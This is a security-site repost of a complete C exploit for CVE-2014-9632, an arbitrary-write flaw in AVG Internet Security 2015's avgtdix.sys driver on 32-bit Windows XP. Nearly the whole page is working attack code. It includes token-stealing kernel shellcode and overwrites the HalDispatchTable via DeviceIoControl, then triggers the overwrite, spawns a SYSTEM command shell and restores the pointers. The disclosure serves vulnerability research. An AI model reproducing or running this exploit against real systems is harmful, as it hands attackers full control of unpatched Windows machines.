首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
AVG Internet Security 2015 Arbitrary Write Privilege Escalation
来源:@parvezghh 作者:Anwar 发布时间:2015-02-05  
/*
  
Exploit Title    - AVG Internet Security 2015 Arbitrary Write Privilege Escalation
Date             - 04th February 2015
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - http://www.avg.com/
Tested Version   - 2015.0.5315 
Driver Version   - 15.0.0.5204 - avgtdix.sys
Tested on OS     - 32bit Windows XP SP3 
OSVDB            - http://www.osvdb.org/show/osvdb/113824
CVE ID           - CVE-2014-9632
Vendor fix url   - http://www.avg.com/eu-en/avg-release-notes
Fixed Version    - 2015.0.5557
Fixed driver ver - 15.0.0.5553
  
  
  
Note
----
Overwritten HAL dispatch table after exploit
  
kd> dps nt!HalDispatchTable l c
8054ccb8  00000003
8054ccbc  00340000
8054ccc0  8678d9a0
8054ccc4  0a050002
8054ccc8  6e66744e
8054cccc  001c0707
8054ccd0  00000180
8054ccd4  000001a4
8054ccd8  867d6690
8054ccdc  86706480
8054cce0  00000000
8054cce4  804e42d1 nt!ObpTraceDepth+0x19
  
10 pointers get overwritten. Since input buffer is in our control and pointers
are static in XP I've triggered the overwrite again restoring the pointers.
  
*/
  
  
#include <stdio.h>
#include <windows.h>
  
#define BUFSIZE 4096
  
  
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
     PVOID   Unknown1;
     PVOID   Unknown2;
     PVOID   Base;
     ULONG   Size;
     ULONG   Flags;
     USHORT  Index;
     USHORT  NameLength;
     USHORT  LoadCount;
     USHORT  PathLength;
     CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
   
typedef struct _SYSTEM_MODULE_INFORMATION {
     ULONG   Count;
     SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
  
typedef enum _SYSTEM_INFORMATION_CLASS { 
     SystemModuleInformation = 11,
     SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;
  
typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
     SYSTEM_INFORMATION_CLASS SystemInformationClass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength);
  
typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
     DWORD ProfileSource, 
     PULONG Interval);
  
typedef void (*FUNCTPTR)(); 
  
  
  
// Windows XP SP3
  
#define XP_KPROCESS 0x44      // Offset to _KPROCESS from a _ETHREAD struct
#define XP_TOKEN    0xc8      // Offset to TOKEN from the _EPROCESS struct
#define XP_UPID     0x84      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define XP_APLINKS  0x88      // Offset to ActiveProcessLinks _EPROCESS struct
  
  
BYTE token_steal_xp[] =
{
  0x52,                                                  // push edx                       Save edx on the stack
  0x53,                                                  // push ebx                       Save ebx on the stack
  0x33,0xc0,                                             // xor eax, eax                   eax = 0
  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,                    // mov eax, fs:[eax+124h]         Retrieve ETHREAD
  0x8b,0x40,XP_KPROCESS,                                 // mov eax, [eax+XP_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,                                             // mov ecx, eax
  0x8b,0x98,XP_TOKEN,0x00,0x00,0x00,                     // mov ebx, [eax+XP_TOKEN]        Retrieves TOKEN
  0x8b,0x80,XP_APLINKS,0x00,0x00,0x00,                   // mov eax, [eax+XP_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,XP_APLINKS,0x00,0x00,0x00,                   // sub eax, XP_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,  // cmp [eax+XP_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,                                             // jne                     ---- 
  0x8b,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov edx, [eax+XP_TOKEN]        Retrieves TOKEN and stores on EDX
  0x8b,0xc1,                                             // mov eax, ecx                   Retrieves KPROCESS stored on ECX
  0x89,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov [eax+XP_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS
  0x5b,                                                  // pop ebx                        Restores ebx
  0x5a,                                                  // pop edx                        Restores edx
  0xc2,0x08                                              // ret 8                          Away from the kernel    
};
  
  
  
BYTE restore_pointers_xp[] =  // kd> dps nt!HalDispatchTable
"\xf2\xa3\x6f\x80"            // 8054ccbc  806fa3f2 hal!HaliQuerySystemInformation
"\xce\xa3\x6f\x80"            // 8054ccc0  806fa3ce hal!HaliSetSystemInformation
"\x0b\x46\x61\x80"            // 8054ccc4  8061460b nt!xHalQueryBusSlots
"\x00\x00\x00\x00"            // 8054ccc8  00000000
"\x4d\xac\x50\x80"            // 8054cccc  8050ac4d nt!HalExamineMBR
"\x89\x6f\x5c\x80"            // 8054ccd0  805c6f89 nt!IoAssignDriveLetters
"\xe5\x4a\x5c\x80"            // 8054ccd4  805c4ae5 nt!IoReadPartitionTable
"\x7b\x3f\x61\x80"            // 8054ccd8  80613f7b nt!IoSetPartitionInformation
"\xef\x41\x61\x80"            // 8054ccdc  806141ef nt!IoWritePartitionTable
"\x57\xd1\x52\x80";           // 8054cce0  8052d157 nt!CcHasInactiveViews
  
  
  
DWORD HalDispatchTableAddress() 
{
    _NtQuerySystemInformation    NtQuerySystemInformation;
    PSYSTEM_MODULE_INFORMATION   pModuleInfo;
    DWORD                        HalDispatchTable;
    CHAR                         kFullName[256];
    PVOID                        kBase = NULL;
    LPSTR                        kName;
    HMODULE                      Kernel;
    FUNCTPTR                     Hal;
    ULONG                        len;
    NTSTATUS                     status;
  
  
    NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
      
    if (!NtQuerySystemInformation)
    {
        printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
        return -1;  
    }
  
    status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
  
    if (!status) 
    {
        printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status);
        return -1;
    }
          
    pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
  
    if(pModuleInfo == NULL)
    {
        printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n");
        return -1;
    }
  
    status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
      
    memset(kFullName, 0x00, sizeof(kFullName));
    strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);
    kBase = pModuleInfo->Module[0].Base;
  
    printf("[i] Kernel base name %s\n", kFullName);
    kName = strrchr(kFullName, '\\');
  
    Kernel = LoadLibraryA(++kName);
  
    if(Kernel == NULL) 
    {
        printf("[-] Failed to load kernel base\n\n");
        return -1;
    }
  
    Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable");
  
    if(Hal == NULL)
    {
        printf("[-] Failed to find HalDispatchTable\n\n");
        return -1;
    }
      
    printf("[i] HalDispatchTable address 0x%08x\n", Hal);   
    printf("[i] Kernel handle 0x%08x\n", Kernel);
    printf("[i] Kernel base address 0x%08x\n", kBase);          
  
    HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase);
  
    printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable);
  
    if(!HalDispatchTable)
    {
        printf("[-] Failed to calculate HalDispatchTable\n\n");
        return -1;
    }
  
    return HalDispatchTable;
}
  
  
int GetWindowsVersion()
{
    int v = 0;
    DWORD version = 0, minVersion = 0, majVersion = 0;
  
    version = GetVersion();
  
    minVersion = (DWORD)(HIBYTE(LOWORD(version)));
    majVersion = (DWORD)(LOBYTE(LOWORD(version)));
  
    if (minVersion == 1 && majVersion == 5) v = 1;  // "Windows XP;
    if (minVersion == 1 && majVersion == 6) v = 2;  // "Windows 7";
    if (minVersion == 2 && majVersion == 5) v = 3;  // "Windows Server 2003;
  
    return v;
}
  
  
void spawnShell()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
  
  
    ZeroMemory(&pi, sizeof(pi));
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
  
    si.cb          = sizeof(si); 
    si.dwFlags     = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWNORMAL;
  
    if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
    {
        printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
        return;
    }
  
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}
  
  
  
int main(int argc, char *argv[]) 
{
  
    _NtQueryIntervalProfile     NtQueryIntervalProfile;
    LPVOID                      input[1] = {0};    
    LPVOID                      addrtoshell;
    HANDLE                      hDevice;
    DWORD                       dwRetBytes = 0;
    DWORD                       HalDispatchTableTarget;
    ULONG                       time = 0;
    unsigned char               devhandle[MAX_PATH]; 
  
  
    printf("-------------------------------------------------------------------------------\n");
    printf("     AVG Internet Security 2015 (avgtdix.sys) Arbitrary Write EoP Exploit      \n");
    printf("                         Tested on Windows XP SP3 (32bit)                      \n");
    printf("-------------------------------------------------------------------------------\n\n");
  
    if (GetWindowsVersion() == 1) 
    {
        printf("[i] Running Windows XP\n");
    }
  
    if (GetWindowsVersion() == 0) 
    {
        printf("[i] Exploit not supported on this OS\n\n");
        return -1;
    }  
  
    sprintf(devhandle, "\\\\.\\%s", "avgtdi");
  
    NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
      
    if (!NtQueryIntervalProfile)
    {
        printf("[-] Unable to resolve NtQueryIntervalProfile\n\n");
        return -1;  
    }
     
    addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  
    if(addrtoshell == NULL)
    {
        printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
        return -1;
    }
    printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell);
  
    memset(addrtoshell, 0x90, BUFSIZE);
    memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp));
    printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));
  
    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
      
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
        return -1;
    }
    else 
    {
        printf("[+] Open %s device successful\n", devhandle);
    }
  
    HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD);
    printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget);
  
    input[0] = addrtoshell;  // input buffer contents gets written to our output buffer address
                      
    printf("[+] Input buffer contents %08x\n", input[0]);
      
    printf("[~] Press any key to send Exploit  . . .\n");
    getch();
  
    DeviceIoControl(hDevice, 0x830020f8, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);
  
    printf("[+] Buffer sent\n");
  
    printf("[+] Spawning SYSTEM Shell\n");
    NtQueryIntervalProfile(2, &time);
    spawnShell();
  
    printf("[+] Restoring Hal dispatch table pointers\n\n");
  
    DeviceIoControl(hDevice, 0x830020f8, restore_pointers_xp, sizeof(restore_pointers_xp)-1, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);
  
    CloseHandle(hDevice);
  
    return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·K7 Computing Multiple Products
·Malwarebytes Anti-Malware / An
·BullGuard Multiple Products Ar
·Shuttle Tech ADSL Modem-Router
·WordPress Pixabay Images PHP C
·WordPress Platform Theme Remot
·Windows tcpip.sys Arbitrary Wr
·Symantec Altiris Agent 6.9 (Bu
·Chemtool 1.6.14 - Memory Corru
·Trend Micro Multiple Products
·MooPlayer 1.3.0 - m3u SEH Buff
·HP Data Protector 8.x - Remote
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved